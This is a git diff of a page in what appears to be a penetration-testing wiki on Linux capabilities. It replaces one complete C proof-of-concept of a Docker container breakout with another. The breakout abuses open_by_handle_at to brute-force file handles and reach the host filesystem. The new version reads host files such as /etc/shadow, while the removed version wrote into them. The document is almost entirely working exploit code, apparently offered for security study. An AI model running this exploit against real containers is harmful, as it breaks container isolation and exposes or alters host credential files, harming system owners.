diff --git a/linux-unix/privilege-escalation/linux-capabilities.md b/linux-unix/privilege-escalation/linux-capabilities.md index 3402d9826..58f24222e 100644 --- a/linux-unix/privilege-escalation/linux-capabilities.md +++ b/linux-unix/privilege-escalation/linux-capabilities.md @@ -803,138 +803,142 @@ The original exploit that abuse this permissions to read files from the host can // ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; + unsigned int handle_bytes; + int handle_type; + unsigned char f_handle[8]; }; -void die(const char * msg) { - perror(msg); - exit(errno); +void die(const char *msg) +{ + perror(msg); + exit(errno); } -void dump_handle(const struct my_file_handle * h) { - fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, - h -> handle_type); - for (int i = 0; i < h -> handle_bytes; ++i) { - fprintf(stderr, "0x%02x", h -> f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr, "\n"); - if (i < h -> handle_bytes - 1) - fprintf(stderr, ", "); - } - fprintf(stderr, "};\n"); +void dump_handle(const struct my_file_handle *h) +{ + fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, + h->handle_type); + for (int i = 0; i < h->handle_bytes; ++i) { + fprintf(stderr,"0x%02x", h->f_handle[i]); + if ((i + 1) % 20 == 0) + fprintf(stderr,"\n"); + if (i < h->handle_bytes - 1) + fprintf(stderr,", "); + } + fprintf(stderr,"};\n"); } -int find_handle(int bfd, - const char * path, - const struct my_file_handle * ih, struct my_file_handle * - oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { +int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle +*oh) +{ + int fd; + uint32_t ino = 0; + struct my_file_handle outh = { .handle_bytes = 8, .handle_type = 1 - }; - DIR * dir = NULL; - struct dirent * de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); - oh -> handle_type = 1; - oh -> handle_bytes = 8; - return 1; - } - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de -> d_name); - if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); - ino = de -> d_ino; - break; + }; + DIR *dir = NULL; + struct dirent *de = NULL; + path = strchr(path, '/'); + // recursion stops if path has been resolved + if (!path) { + memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); + oh->handle_type = 1; + oh->handle_bytes = 8; + return 1; } - } - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, & ino, sizeof(ino)); - memcpy(outh.f_handle + 4, & i, sizeof(i)); - if ((i % (1 << 20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); - if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle( & outh); - return find_handle(bfd, path, & outh, oh); - } + ++path; + fprintf(stderr, "[*] Resolving '%s'\n", path); + if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) + die("[-] open_by_handle_at"); + if ((dir = fdopendir(fd)) == NULL) + die("[-] fdopendir"); + for (;;) { + de = readdir(dir); + if (!de) + break; + fprintf(stderr, "[*] Found %s\n", de->d_name); + if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { + fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); + ino = de->d_ino; + break; + } } - } - closedir(dir); - close(fd); - return 0; + + fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); + if (de) { + for (uint32_t i = 0; i < 0xffffffff; ++i) { + outh.handle_bytes = 8; + outh.handle_type = 1; + memcpy(outh.f_handle, &ino, sizeof(ino)); + memcpy(outh.f_handle + 4, &i, sizeof(i)); + if ((i % (1<<20)) == 0) + fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); + if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { + closedir(dir); + close(fd); + dump_handle(&outh); + return find_handle(bfd, path, &outh, oh); + } + } + } + closedir(dir); + close(fd); + return 0; } -int main(int argc, char * argv[]) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = { - 0x02, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - } - }; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" + +int main(int argc,char* argv[] ) +{ + char buf[0x1000]; + int fd1, fd2; + struct my_file_handle h; + struct my_file_handle root_h = { + .handle_bytes = 8, + .handle_type = 1, + .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} + }; + + fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" "[***] The tea from the 90's kicks your sekurity again. [***]\n" "[***] If you have pending sec consulting, I'll happily [***]\n" "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); - if (find_handle(fd1, argv[1], & root_h, & h) <= 0) - die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle( & h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) - die("[-] open_by_handle"); - char * line = NULL; - size_t len = 0; - FILE * fptr; - ssize_t read; - fptr = fopen(argv[2], "r"); - while ((read = getline( & line, & len, fptr)) != -1) { - write(fd2, line, read); - } - printf("Success!!\n"); - close(fd2); - close(fd1); - return 0; + + read(0, buf, 1); + + // get a FS reference from something mounted in from outside + if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) + die("[-] open"); + + if (find_handle(fd1, argv[1], &root_h, &h) <= 0) + die("[-] Cannot find valid handle!"); + + fprintf(stderr, "[!] Got a final handle!\n"); + dump_handle(&h); + + if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) + die("[-] open_by_handle"); + + memset(buf, 0, sizeof(buf)); + if (read(fd2, buf, sizeof(buf) - 1) < 0) + die("[-] read"); + + printf("Success!!\n"); + + FILE *fptr; + fptr = fopen(argv[2], "w"); + fprintf(fptr,"%s", buf); + fclose(fptr); + + close(fd2); close(fd1); + + return 0; } ``` -{% hint style="danger" %} -I exploit needs to find a pointer to something mounted on the host. The original exploit used the file `/.dockerinit` and this modified version uses `/etc/hostname`. **If the exploit isn't working** maybe you need to set a different file. To find a file that is mounted in the host just execute `mount` command: +{% hint style="warning" %} +I exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command: {% endhint %} ![](<../../.gitbook/assets/image (407) (2).png>)